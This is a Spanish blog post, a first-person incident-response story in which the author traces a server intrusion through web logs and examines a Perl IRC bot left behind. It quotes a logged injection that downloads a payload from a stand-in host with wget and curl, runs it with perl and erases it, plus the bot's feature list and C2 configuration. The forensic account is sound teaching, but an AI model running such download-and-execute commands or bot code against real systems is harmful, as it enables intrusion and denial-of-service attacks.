miércoles, 6 de junio de 2012

Una historia de hackers [Parte II]

Día miércoles. Hace más de una hora desde que debí haber llegado al trabajo. Tras tocar la puerta un par de veces, giré la perilla y entré en la oficina. Era el último en llegar. Los demás ya estaban acomodados en sus respectivos escritorios y por un momento habían dejado de observar la pantalla de su monitor para dirigir sus miradas hacia la puerta.

Tras estrechar la mano de cada uno de mis compañeros, tomé mi lugar y me dispuse a empezar con el trabajo. Hoy tocaba hacer hardening de PHP.

Aún no había terminado de encender el ordenador, cuando el mismo colega que descubrió el ataque el día anterior, me dijo:

- Han vuelto a atacar esta mañana desde la misma IP.

No me sorprendió, de hecho me lo temía. El día anterior, no había sido capaz de encontrar el script con el que el "hacker" estaba controlando el servidor y seguro que el administrador tampoco lo había encontrado. Las medidas que le sugerí habrían evitado que el intruso vuelva a entrar pero eso no era necesario. Habíamos cerrado las puertas con él adentro.

- ¿Y ya le avisaron al administrador? - Pregunté, tratando de evadir el problema y de aclarar que el responsable no era yo.

- Sí, le llamamos. Quiere conversar contigo.

Eso no me lo esperaba.

- ¿Porqué no les llamas? - Sugirió el jefe, que hasta entonces había permanecido en silencio. Era una orden directa.

Imaginé que el administrador esperaba alguna sugerencia para terminar definitivamente con el problema. Pero no era tan sencillo. No sabía que tan lejos pudo haber llegado el hacker. Siendo windows el servidor, las posibilidades eran muchas. Pudo subir un sencillo script que lance el Flood UDP como también pudo rootear el servidor e instalar un sofisticado rootkit. Sería necesario realizar un análisis más profundo antes de hacer cualquier conjetura. Así que decidí explicarle eso al administrador.

Marqué el número del anexo y al poco tiempo contestaron.

- Buenos días, le habla Cesar, del área de servidores.

- Hola Cesar, me informaron que habíamos vuelto a tener problemas con el servidor.

- Así es, probablemente el hacker haya dejado un "backdoor". Habría que revisar más a fondo pero para eso es necesario tener acceso al servidor o a los logs por lo menos.

- Claro, entiendo. Mira, por que no vienes a apoyarnos con eso por acá y así nos muestras como hacerlo nosotros para la próxima.

La última parte me hizo algo de gracia - Así que esperan una próxima vez - pensé.

No tenía muchas ganas de ir. Además no sabía exactamente qué tenía que hacer ni cuanto tiempo me iba a demorar.

- Uhmm... eso está un poco difícil. Prefiero un acceso remoto para poder revisar el servidor desde aquí. Pero en cualquier caso tendría que conversarlo con el jefe.

Y le pasé el anexo del jefe. A los pocos minutos sonó su teléfono.

Aguardaba mi destino mientras escuchaba al jefe negociar por teléfono las condiciones de mi "apoyo externo". La postura del jefe era clara: no quería que yo saliera de la oficina, tenía otras cosas que hacer. A mi me parecía perfecto, hasta que escuché algo como...

- Sí, no se preocupe. Luego Cesar le envía un informe de todo lo que ha hecho... Claro, lo importante ahora es resolver el problema pronto, ya luego podemos organizar una capacitación o él va a su oficina para enseñarles como descubrió los fallos y cómo corregirlos... Ya, le transfiero a su anexo para que él les diga qué necesita... Ok, hasta luego.

Si claro, informe, capacitación ¿Qué más? También sé hacer magia y animo fiestas infantiles... Al final no me puedo quejar, no hice ningún informe solo envié un correo con una breve descripción y algunos pantallazos. Y de la "capacitación" nadie ha vuelto a mencionar nada, así que por lo pronto me doy por librado.

Levanté el teléfono nuevamente.

- Bueno, como le comentaba, es necesario un acceso remoto, quizá por RDP, de preferencia con un usuario administrador o al menos con los permisos suficientes para leer los logs y revisar todos los archivos de la página web... No, descuide no voy a realizar ningún cambio, solo voy a echar un vistazo... Claro, si es necesario reiniciar o cambiar algo, le aviso... No, no hay problema, me avisa por el anexo cuando esté listo... Ya... hasta luego.

Y quedé a la espera de las credenciales para conectar por RDP con el servidor víctima. Mientras tanto me dediqué a avanzar con los deberes del día. La llamada no debía tardar demasiado. Pero el teléfono no volvió a sonar sino hasta después del almuerzo. Entonces tomé la llamada y memoricé las credenciales. Tuve que esperar a terminar algunas tareas pendientes y casi una hora después, conecté con el servidor.

El objetivo era encontrar el "backdoor", la puerta trasera que estaba empleando el hacker para entrar en el servidor. Inicialmente había dado por sentado que esa puerta trasera era una "webshell". Pero luego de mi infructuosa búsqueda del día anterior ya no estaba tan seguro.

Nota: Las webshells son el backdoor más común en los ataques web. Son como cualquier página web, salvo porque estas se usan para ejecutar ordenes en el servidor. Existen muchas webshells pero solo un puñado de estas son lo suficientemente populares como para ser detectadas por los antivirus, así que por lo general pasan desapercibidas y se confunden con el resto de las páginas web.

En cualquier caso ahora tenía acceso a los logs y me sería más fácil encontrar la webshell (si es que realmente existía).

La forma de buscar en los logs es simple. Una webshell es como cualquier página web, así que el hacker tiene que visitarla desde su navegador y esa visita quedará registrada en los logs junto con el nombre de la página, los parámetros que recibe, la IP del hacker, la fecha y hora, entre otros datos. Solo debía buscar dentro de los logs cadenas sospechosas que podrían aparecer en la llamada a la webshell.

Descargué los logs a mi computadora, erá algo más de 300 megas, y empecé a buscar algunas cadenas con el comando "grep".

$ grep "cadena sospechosa" access_log

Probé cadenas como "ip=" y "time=" porque son parámetros de un script que conozco para hacer Flood UDP. Pero no encontré nada. También probé algunos nombres comunes de webshells como: "c99.php", "r57.php", "c100.php", "ws.php", "shell.php", etc. Y tampoco hubieron resultados. Se me ocurrió entonces buscar nombres de funciones de php como "exec", "eval", "passthru", "system", etc. Fue entonces que, tras buscar la cadena "eval", se mostraron varios registros parecidos a este:

[IP] [FECHA] "GET /phpmyadmin/config/config.inc.php?eval=system('echo cd /tmp;wget http://hacker.server/apache_32.png -O p2.txt;curl -O http://hacker.server/apache_32.png; mv apache_32.png p.txt;lyxn -DUMP http://hacker.server/apache_32.png >p3.txt;perl p.txt; perl p2.txt;perl p3.txt;rm -rf *.txt'); HTTP/1.1" 404 112

Por fin había encontrado algo sospechoso.

Tomé la IP que aparecía en el registro y le hice "whois". La IP pertenecía a un proveedor de internet en Pensilvania, Estados Unidos.

Luego de analizar un poco ese registro entendí de que se trataba. Al parecer el hacker había colado una función "eval" dentro de "config.inc.php". La función eval sirve para ejecutar código PHP. En este caso ejecutaba una llamada a la función system, que a su vez sirve para ejecutar ordenes en el sistema operativo. Las ordenes que ejecutaba el hacker se encargaban de descargar una imagen llamada "apache_32.png" desde Internet. Lo hacía empleando 3 programas diferentes (wget, curl y lyxn1) para asegurarse de que la imagen sea descargada. Según el programa empleado, la imagen se guardaba con tres nombres diferentes: p.txt, p2.txt o p3.txt. Luego pasaba esos archivos al interprete de perl y finalmente los eliminaba.

Ya veo, con razón no había encontrado nada. Este hacker no tenía intención de dejar huellas. Había descargado una supuesta imagen que envió a ejecutar con perl y luego la borró. Evidentemente eso no era una imagen, era código perl. De esta forma el hacker conseguía dejar algo ejecutándose en memoria y luego borraba sus rastros del disco, donde yo torpemente había estado buscando.

Pero el hacker había cometido un error. Al enviar los parámetros por GET estos quedan registrados en los logs junto con la URL completa. Si hubiera enviado esos parámetros con el método POST no habrían sido registrados y yo nunca me habría percatado. Ahora yo tenía una pista muy interesante, tenía la URL desde donde el hacker bajó la "imagen". Con un poco de suerte esa URL aún estaría disponible y podría saber que era exactamente lo que estaba ejecutando en el servidor.

Puse la URL en mi navegador. Hubo suerte.

Imaginé que se trataría del código de una típica "reverse shell" escrita perl, de ser así, seguramente encontraría la IP del hacker ahí dentro. Claro que ya tenía una IP sospechosa, la de Pensilvania, pero seguramente era falsa, es decir pertenecía a un proxy. Usar un proxy durante un ataque es algo trivial pero usar un "proxy" en una conexión reversa no es tan sencillo. Por ello confiaba en que si esto era una reverse shell seguramente encontraría la verdadera IP allí. Mi intención nunca fue "atrapar" al hacker, sin embargo la IP era un buen dato para la investigación, podría geolocalizarla, scannearla, planear un contrataque o lo que es mejor aún, ponerla en el informe.

Abrí "la imagen" con mi editor de texto y vaya sorpresa, eran cientos de lineas de código. En algo había acertado: sí era código perl. Pero definitivamente eso no era una reverse shell, era algo mucho más elaborado. Una reverse shell puede entrar cómodamente en 10 lineas o menos2 este script tenía más de 900 lineas y con comentarios para facilitar su comprensión.

Al inicio del script había algo como esto:

# - Adicionado comando !estatisticas ;
# - Alterado o comando @pacota para @oldpack;
# - Adicionado dois novos pacotadores: @udp    e @udpfaixa   ;
# - Adicionado um novo portscan -> @fullportscan   ;
# - Adicionado comando @conback   com suporte para Windows/Unix :D;
# - Adicionado comando: !sair para finalizar o bot;
# - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
# - Adicionado comando !entra   e !sai  ;
# - Adicionado comando @download  ;
# - Adicionado comando !pacotes  para ativar/desativar pacotes :);

¿novo? ¿pacotes? ¿trocar o nick do bot? El script tenía puestos los "features" en portugués. Si hubiera sido inglés no me habría llamado la atención, pero este idioma no es muy común. Solo hay un puñado de once o doce países en el mundo que hablan portugués y de estos, dos son los más conocidos: Brasil y Portugal. Mi primera impresión fue que el hacker debía conocer ese idioma. Así que las posibilidades se reducían a unos cuantos países y aunque esto no es como el fútbol, yo le apostaba a los cariocas.

Continué revisando el script.

########## CONFIGURACAO ############
my $processo = '/usr/local/apache/bin/httpd -DSSL';

$servidor='59.42.xxx.xxx' unless $servidor;
my $porta='443';
my @canais=("#redcode");
my @adms=("Ciprian");
my @auth=("*!*@x");

# Anti Flood ( 6/3 Recomendado )
my $linas_max=6;
my $sleep=3;

my $nick =("Seyko");
my $ircname =(Seyko);
my $realname =(`uname -a`);

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = "?p";
my $estatisticas = 0;
my $pacotes = 1;
####################################

my $VERSAO = '0.2a';

Como era de esperarse en un script tan extenso, habían algunas líneas de configuración.

Los nombres de algunas variables eran bastante sugerentes: "$servidor", "$porta", "$canais", "$nick", "$ircname",... La idea cruzó por mi cabeza al instante ¿Acaso estaba frente a un "bot IRC"? Sin duda, se trataba de eso.

Ya antes había leído en Internet historias de botnets controladas por IRC, ese anticuado protocolo de chat digno de los más veteranos. Según cuenta la leyenda, los bots se conectaban a un canal de chat donde el hacker aguardaba para darles instrucciones.

Sin duda, en este script no encontraría la IP del hacker. Por otra parte estaba la IP del servidor IRC. Nuevamente volvía a tener la impresión de que este tipo era bastante precavido. Estaba ocultando su verdadera IP al usar un servidor IRC como intermediario.

Le hice whois a la IP del IRC. Era de Beijing, China.

Otro detalle que no pasé desapercibido, fue el puerto en el que escucha el servidor IRC. Comúnmente el puerto suele ser el 6667, sin embargo en este caso era el 443. Ese puerto es el empleado para el protocolo HTTPS (navegación segura). No era algo casual. Dada la importancia del protocolo HTTPS muchos administradores permiten la salida a ese puerto sin ninguna restricción. Al configurar el IRC para que atienda en el puerto 443 el hacker lograba evadir algunos firewalls.

El resto del código implementaba las funcionalidades del bot. Puesto que no tengo un conocimiento tan profundo del protocolo IRC, se me hizo complicado continuar analizando el código para entender exactamente como funcionaba el bot. Pero los nombres de algunas funciones me dieron una idea de lo que podría hacer. Por suerte tengo un amigo con algo de experiencia en ese protocolo, así que más tarde le comentaría lo sucedido para que me de una mano.

Por lo pronto dejé de analizar el bot. A mi parecer había hecho grandes avances en la investigación. Sabía cual era la vulnerabilidad, el tipo backdoor que dejó el hacker y como había hecho para ejecutarlo en el servidor... En ese momento fui consiente del gran error que había cometido. Me había dejado llevar por los indicios y olvidé verificar muchos de ellos. Había algo en toda esta historia que no encajaba...

---
(1) Ahora que escribo el post, me doy cuenta que el hacker cometió un error al escribir "lyxn" en lugar de "lynx" que es el nombre del conocido navegador para consola xD

(2) http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

12 comentarios:

  1. Que interesante tu aventura César, me alegra mucho que hayas logrado encontrar la vulnerabilidad.
    Como siempre, aprendo mucho leyendo tus post, despiertas mi curiosidad y respeto por aquellas personas que se sumergen en las profundas aguas del hack. Espero que sigas publicando tus aventuras en la red.
    Saludos.

    ResponderEliminar
  2. Gracias Jhussara :)

    Seguiré escribiendo...

    Saludos

    ResponderEliminar
    Respuestas
    1. Que tal Cesar, te escribo desde Venezuela vi que estuviste en el capitulo OWASP Peru, por aqui estuvimos dando las conferencias y estuvo John Vargas muy buenas ponencia, necesito contactarte para unos asuntos de Seguridad. saludos. Diego Subero

      Eliminar
  3. hOLA man ... y se puede saber como consiguieran acceso a escribir en el archivo config.inc.php ?????

    extraño ,el server tiene compilador perl?? Ahora si el hacker tiene un server ir con puertos abiertos estoy seguro que se puede filtrar algo mas en sus puertos...

    ResponderEliminar
  4. Hola, Jesus

    Lo del eval lo explico en la tercera parte, se me hacía muy largo el post.

    El server era un XAMPP así que si trae interprete de perl instalado.

    Por lo del IRC, no lo llegué a scannear, pero hasta ahora no se sabe si ese server realmente es del hacker. El bot esta en portugués, la IP de su proxy es de US, su IRC está en China, ¿Y él de donde será?

    Saludos :)

    ResponderEliminar
  5. Pos las botnets manejadas por IRC ya las he visto, tengo aquí un bicho pendiente de estudio, es un rootkit en usermode, pero vamos que hasta pudo instalar un bootkit tío, con unos cuantos miles de dolares (que para ellos no son nada) llegaba a sus manos estos espécimen xD.

    Saludos,
    Nox.

    ResponderEliminar
  6. Para que me entiendas xD, el rootkit ese usa el protocolo IRC para ser controlado jeje, lástima que no tengo uno de esos (bootkits) para estudio, no seas mal pensado :P

    Saludos.

    ResponderEliminar
  7. Vaya historion,sin duda alguna un dia entretenido ;) y el que ataco,es un fiera,quien sabe donde estara mientras nosotros estamos aqui leyendo el relato

    ResponderEliminar
  8. No es por mal pensado. Pero Nox, todos sabemos que tu estás detrás de Stuxnet, Duqu y Flame. Qué manía que le has cogido a las centrales nucleares hombre!! no puedes hackear la NASA como la gente normal!!

    ResponderEliminar
  9. Es que no soy como de los "normales" jajaja, la codificación de los drivers para flame fue lo más difícil, las dependencias que tienen lo hacen pesado y fue hecho así a propósito pero vamos que después de 4 y un poco más se dan cuenta del bootkit xD.

    Saludos,
    Nox.

    ResponderEliminar
  10. capacitacion eh?
    creo que ahora el jefe se va ha acordar XD jajaja

    ResponderEliminar